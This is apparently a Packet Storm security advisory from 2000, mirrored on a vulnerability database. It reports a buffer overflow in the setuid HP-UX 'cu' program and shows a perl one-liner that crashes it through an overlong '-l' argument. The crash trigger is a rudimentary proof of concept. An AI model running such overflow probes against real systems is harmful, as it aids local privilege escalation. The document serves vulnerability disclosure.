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hp-ux.cu.overflow.txt

🗓️ 05 Nov 2000 00:00:00Reported by ZorgonType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

HPUX cu buffer overflow vulnerability allows memory faults with long '-l' option strings.

Code
`=======================================================  
HPUX cu -l option buffer overflow vulnerability  
=======================================================  
  
Date: 02/11/2000  
Tested on HP-UX B.11.00  
  
$ ls -la `which cu`  
-r-sr-xr-x 1 bin 40960 9 avr 1998 /bin/cu  
  
Using '-l' with a long option string:  
$ cu -l `perl -e 'printf "A" x 9777'`  
La connexion a chou : Requested device/system name not known  
  
$ cu -l `perl -e 'printf "A" x 9778'`  
Memory fault  
  
  
  
==================================  
zorgon <[email protected]>  
http://www.nightbird.free.fr  
----------------------  
Do you do Linux? :)   
Get your FREE @linuxstart.com email address at: http://www.linuxstart.com  
`

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05 Nov 2000 00:00Current
7.4High risk
Vulners AI Score7.4
21